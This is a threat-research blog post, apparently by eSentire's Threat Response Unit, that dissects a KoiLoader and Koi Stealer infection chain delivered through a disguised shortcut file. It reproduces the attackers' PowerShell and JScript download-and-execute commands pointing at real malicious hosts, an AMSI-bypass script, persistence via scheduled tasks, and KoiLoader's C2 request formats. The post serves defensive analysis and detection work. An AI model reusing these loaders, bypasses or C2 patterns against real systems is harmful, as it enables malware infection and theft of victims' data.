Combine cutting-edge XDR technology, multi-signal threat intelligence and 24/7 Elite Threat Hunters to help you build a world-class security operation.
Get unlimited Incident Response with threat suppression guarantee - anytime, anywhere.
CTEM and advisory programs that identify security gaps and build proactive strategies to address them.
24/7 SOC-as-a-Service with unlimited threat hunting and incident handling.
XDR with machine learning that eliminates noise, enables real-time detection and response, and automatically blocks threats.
Seamless integration and threat investigation across your existing tech stack.
Proactive threat intelligence, original threat research and a world-class team of seasoned industry veterans.
Extend your team capabilities and prevent business disruption with expertise from eSentire.
We balance automated blocks with rapid human-led investigations to manage threats.
Guard endpoints by isolating and remediating threats to prevent lateral spread.
Defend brute force attacks, active intrusions and unauthorized scans.
Investigation and threat detection across multi-cloud or hybrid environments.
Remediate misconfigurations, vulnerabilities and policy violations.
Investigate and respond to compromised identities and insider threats.
Stop ransomware before it spreads.
Meet regulatory compliance mandates.
Detect and respond to zero-day exploits.
End misconfigurations and policy violations.
Defend third-party and supply chain risk.
Prevent disruption by outsourcing MDR.
Adopt a risk-based security approach.
Meet insurability requirements with MDR.
Protect your most sensitive data.
Build a proven security program.
Operationalize timely, accurate, and actionable cyber threat intelligence.
THE THREATOn March 22nd, Next.js released a security advisory addressing a critical authorization bypass vulnerability in the Next.js framework. The vulnerability, tracked as CVE-2025-29927…
Mar 18, 2025THE THREATOn March 17th, 2025, security researchers confirmed that threat actors are now exploiting the recently disclosed Apache Tomcat vulnerability CVE-2025-24813. This vulnerability was…
eSentire is The Authority in Managed Detection and Response Services, protecting the critical data and applications of 2000+ organizations in 80+ countries from known and unknown cyber threats. Founded in 2001, the company’s mission is to hunt, investigate and stop cyber threats before they become business disrupting events.
We provide sophisticated cybersecurity solutions for Managed Security Service Providers (MSSPs), Managed Service Providers (MSPs), and Value-Added Resellers (VARs). Find out why you should partner with eSentire, the Authority in Managed Detection and Response, today.
Multi-Signal MDR with 300+ technology integrations to support your existing investments.
24/7 SOC-as-a-Service with unlimited threat hunting and incident handling.
We offer three flexible MDR pricing packages that can be customized to your unique needs.
The latest security advisories, blogs, reports, industry publications and webinars published by TRU.
Compare eSentire to other Managed Detection and Response vendors to see how we stack up against the competition.
See why 2000+ organizations globally have chosen eSentire for their MDR Solution.
Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.
We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.
Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.
In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.
Here’s the latest from our TRU Team…
In March 2025, the eSentire Threat Response Unit (TRU) detected an intrusion attempt involving the use of a shortcut file leading to the loading of a new version of KoiLoader, a malware loader that facilitates Command and Control (CnC), and downloads/executes Koi Stealer, an information stealer written in C# with advanced information stealing capabilities.
The infection chain can be seen in the figure below.
Initial access is achieved through a spam email and link to a zip file, “chase_statement_march.zip”, similarly to our prior report. Within the zip file, the victim clicks a shortcut file named “chase_statement_march.lnk”, which serves to download and execute KoiLoader. This shortcut file makes use of a well-known, low-severity bug in Windows to effectively conceal the command line arguments when viewing the file's properties.
As seen in the figure below, the “Target” field is truncated and the remaining contents of the malicious command are unable to be viewed.
The full contents of the malicious command can be seen below. First, two JScript files are downloaded to C:\ProgramData\g1siy9wuiiyxnk.js and C:\ProgramData\i7z1x5npc.js. Next, a scheduled task is created using the LOLBin “schtasks.exe” to run the JScript file g1siy9wuiiyxnk.js.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command $pdw = $env:programdata + '\' + ('g1siy9wuiiyxnk.js i7z1x5npc'); $getf='Dow'+'nl'+'oadF'+'ile'; $w2al9zb7lb86ccs0 = New-Object Net.WebClient; $wscs = 'wscript '; $w2al9zb7lb86ccs0.$getf('https://casettalecese[.]it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'g1siy9wuiiyxnk.js'); . ('curl.exe') -s -o 76mk0ik748fo 'https://casettalecese[.]it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv 76mk0ik748fo 'i7z1x5npc.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ("wscript C:\ProgramData\g1siy9wuiiyxnk.js i7z1x5npc") /tn i7z1x5npc;
The contents of g1siy9wuiiyxnk.js can be seen below. The purpose of the script is to delete the scheduled task created before and run a new instance of wscript to execute i7z1x5npc.js.
It is highly likely that this technique is being used to evade detection, as the parent process of wscript.exe is usually explorer.exe in attacks involving the user double clicking a script file, whereas using this technique, the parent process is svchost.exe, giving the impression that WScript was launched by a more trustworthy parent process chain.
var dol3 = new ActiveXObject("WScript.Shell")
dol3.Run("powershell -command \"schtasks /delete /tn " + WScript.arguments(0) + " /f; wscript $env:programdata\\" + WScript.arguments(0) + ".js \"", 0)
The contents of the script i7z1x5npc.js can be seen below, which performs the following actions:
var f1="Scr",f2="ing.Fi",f3="stemOb"
var fso = new ActiveXObject(f1+"ipt"+f2+"leSy"+f3+"ject")
var w1="WSc",w2="riPt",w4="eLl"
var wsh=w1+w2+".sH"+w4
var bbj=new ActiveXObject(wsh)
var fldr=GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth==64?"SysWOW64":"System32"
var rd=bbj.ExpandEnvironmentStrings("%SYSTEMROOT%")+"\\"+fldr+"\\WindowsPowerShell\\v1.0\\powershell.exe"
var agn='r'+bbj.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid')+'r.js'
if (WScript.ScriptName != agn) {
var fs5="yFi"
try {
fso["Cop"+fs5+"le"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%")+"\\"+agn)
} catch (e) {}
}
var mtx_name="7zAVOXWBV1U0"
var mtx_file = bbj.ExpandEnvironmentStrings("%tem"+"p%")+"\\"+mtx_name
var fs1="leteFi"
var fs2="leExis"
try {
fso["De"+fs1+"le"](mtx_file)
} catch (e) {}
if (!fso["Fi"+fs2+"ts"](mtx_file))
{
bbj.Run(rd+" -command \"$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese[.]it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '" + mtx_name + "'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))\"", 0)
The purpose of the first PowerShell script (boomier10qD0.php) is to disable Anti-Malware-Scan-Interface (AMSI).
$vl1 = ("L8Ek1EOLdflxxTT2W20qMJ0EsGk12dZO5jxvxTT2W20qMJ0EMRc4Ar2q6SDDxTT2W20qMJ0EVEWXewxquV3axTT2W20qMJ0Eybr4BrPdQsbhxTT2W20qMJ0Ez80MpPbbIoRaxTT2W20qMJ0E1zxbk5cQzLZ9xTT2W20qMJ0E8MOQx7eVpj7ZxTT2W20qMJ0EibyPDx89MPoi" -match "xTT2W20qMJ0E")
$v2=$c.GetFields("NonPublic,Static")
Foreach($v3 in $v2) {if ($v3.Name -like "*am*ed") {$v3.SetValue($null, $vl1)}}
The purpose of the second PowerShell script (nephralgiaMsy.ps1) is to download the KoiLoader payload, allocate/write shellcode, allocate/write the KoiLoader payload, and execute the shellcode via CreateThread API call, leading to the execution of the KoiLoader payload.
The first stage of KoiLoader serves to unpack and execute the next stage. This process can be automated by using our KoiLoader extraction script available here. The unpacking routine makes use of a hashing algorithm to resolve the Windows APIs: FindResourceW, LoadResource, and SizeofResource.
It then calls these APIs to acquire two resources within the PE file that store the next stage encrypted payload and an XOR key. The payload is then written to memory, marked executable, and the OEP is called.
The routine responsible for extracting resources from the PE file can be seen below. The routine essentially resolves the aforementioned APIs and calls them in order to extract the embedded resource within the PE file, returning a pointer to the extracted data.
The routine responsible for resolving APIs via hash can be seen in the figure below. This routine loops over exported names in Kernel32 and computes a hash for each. If the hash matches the dwHash argument supplied to the function, a pointer to the resolved API is returned.
The following python code re-implements the hashing algorithm implemented by the routine denoted in Figure 10 as “fn_compute_hash”. This python code is also available here.
def fn_compute_hash(api_name):
dwhash = 0x00000000
for i in range(len(api_name)):
dwhash = dwhash << 4
dwhash = ord(api_name[i]) + dwhash
a = dwhash & 0xF0000000
if a != 0:
x = a >> 0x18
dwhash = dwhash ^ x & 0xFFFFFFFF
a = (~a) & 0xFFFFFFFF
dwhash = dwhash & a
continue
a = ~a
dwhash = dwhash & a
return dwhash
api_name = "FindResourceW"
hash_val = fn_compute_hash(api_name)
print(f"The hash value for {api_name} is {hex(hash_val)}")
# The hash value for FindResourceW is 0x5681127
api_name = "LoadResource"
hash_val = fn_compute_hash(api_name)
print(f"The hash value for {api_name} is {hex(hash_val)}")
# The hash value for LoadResource is 0x9b3b115
api_name = "SizeofResource"
hash_val = fn_compute_hash(api_name)
print(f"The hash value for {api_name} is {hex(hash_val)}")
# The hash value for SizeofResource is 0xdaa96b5
The routine responsible for decrypting the encrypted payload can be seen in the figure below.
This stage contains the main functionality of KoiLoader, beginning with a check to ensure the malware isn’t running on friendly machines.
This check involves the use of the GetUserDefaultLangID Windows API and compares the return value against the following known friendly language identifiers: Russian, Armenian, Azerbaijani (Latin/Cyrillic), Belarusian, Kazakh, Tajik, Turkmen, Uzbek (Latin/Cyrillic), and Ukrainian. If a match is found, the malware exits.
The evasion routine, denoted in the figure above as “fn_evasion” serves to check multiple attributes to identify virtual machines, specifically Hyper-V, VMWare, VirtualBox, Parallels, and QEMU, security researcher machines, and sandboxes. This routine returns TRUE in the event a check passes, and the malware exits.
KoiLoader makes use of a known UAC bypass to create an exclusion in Microsoft Defender via the ICMLuaUtil Elevated COM interface. The exclusion path is the same directory where the persistence script is located (C:\ProgramData).
Persistence is then setup via scheduled task to run the JScript dropper file from earlier (Figure 5), where the file name is the result of concatenating “C:\ProgramData\r” + <MACHINE_GUID> + “r.js”. The machine GUID is obtained via the registry key/value “HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid”.
The C:\ drive’s volume serial number is then acquired via the GetVolumeInformation Windows API and used in generating a GUID to use as a Mutex. The Windows API CreateMutexW is then called to register the mutex, where the return value is checked to ensure the mutex doesn’t already exist. Otherwise, the malware exits ensuring another instance of the loader isn’t running in parallel.
Python code for generating the mutex can be seen below.
# Volume serial number in hex format, can be acquired via PowerShell command:
# (Get-WmiObject Win32_LogicalDisk | Select-Object VolumeSerialNumber).VolumeSerialNumber
VOLUME_SERIAL_NUMBER = 0x5B23AC1F
# Perform the calculations
def calculate_guid_parts(volume_serial_number):
v0 = 1219472 * volume_serial_number
data3 = (v0 - 18621) & 0xFFFF
data1 = (1219472 * v0 + 1728536051) & 0xFFFFFFFF
data2 = (-25712 * (data1 & 0xFFFF) - 18621) & 0xFFFF
return data1, data2, data3
def generate_custom_guid(data1, data2, data3):
guid_string = f"{data1:08X}-{data2:04X}-{data3:04X}-F3F3-F3F3F3F3F3F3"
return guid_string
if __name__ == "__main__":
data1, data2, data3 = calculate_guid_parts(VOLUME_SERIAL_NUMBER)
mutex = generate_custom_guid(data1, data2, data3)
print(f"Mutex: {mutex}")
The routine responsible for downloading and executing KoiStealer can be seen below, which makes use of PowerShell to send a web request via IWR (Invoke-WebRequest) module and evaluates the response as PowerShell code via IEX (Invoke-Expression).
The routine retrieves sd4.ps1 depending on whether the C# compiler v4.0.30319 (csc.exe) is present, otherwise sd2.ps1 is retrieved. Both files serve to download and execute KoiStealer.
The PowerShell command lines used are as follows:
KoiLoader uses HTTP POST requests for Command and Control purposes. The initial request to the C2 contains the victim machine’s GUID, a build ID unique to the campaign, and an X25519 public key encoded in base64. This initial request is denoted with “101” at the beginning of the post request’s body.
POST http://94.247.42[.]253/pilot.php
HTTP/1.1 Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 94.247.42.253
Content-Length: 94
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Encoding: binary
101|<GUID>|45LkAGkF|<PUBLIC_KEY_BASE64>
The next check in request to the C2 contains the victim machine’s GUID, a 16 byte randomly generated string, and encrypted data containing the victim’s OS major version, minor version, username, computer name, and domain.
Data is encrypted via computing the X25519 shared secret and using it in XORing each plaintext byte. This request type is denoted with “111” in the post data.
POST http://94.247.42[.]253/pilot.php HTTP/1.1
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 94.247.42.253
Content-Length: 94
Connection: Keep-Alive
Pragma: no-cache
Content-Encoding: binary
111|<GUID>|<16_BYTE_XOR_KEY_PART_2>|<ENCRYPTED_DATA>
The next requests involve a loop that runs indefinitely to retrieve commands from the C2 server, with a one second wait between requests. This request type is denoted with “102” at the beginning of the post request’s body.
POST http://94.247.42.253/pilot.php HTTP/1.1
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 94.247.42.253
Content-Length: 40
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Encoding: binary
102|<GUID>
The response returned is then handled by a jump table (switch statement), where each command is represented as a single character. Each of the commands and their associated description can be seen in the following table.
Command |
Description |
0x67 |
Executes scripts/commands via Command Prompt |
0x68 |
Executes scripts/commands via PowerShell |
0x69 |
Enables system shutdown privilege for the running process and performs the shutdown |
0x6A |
Creates a scheduled task to run agent.js and removes agent.js if present on the host |
0x6C |
Establishes communication with a C2 server |
0x6E |
Performs process injection into either explorer.exe or certutil.exe based on the subsystem value (if the subsystem is Console User Interface, the payload is injected into certutil.exe, if it’s Graphical User Interface, the payload is injected into explorer.exe) or writes the payload to %TEMP% folder and directly executes it (the naming convention for the payload is generated with PRNG) |
0x70 |
Dynamically loads and executes a function from a DLL, in our sample, the export function is “Release” |
In order to triage C2 activities, we created an emulation script available here. The script generates X25519 private/public keys and computes a shared secret for encrypting data sent to the C2 in the registration process and features the ability to specify a proxy for connecting to KoiLoader C2 and generation of a fake username/computer name.
The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.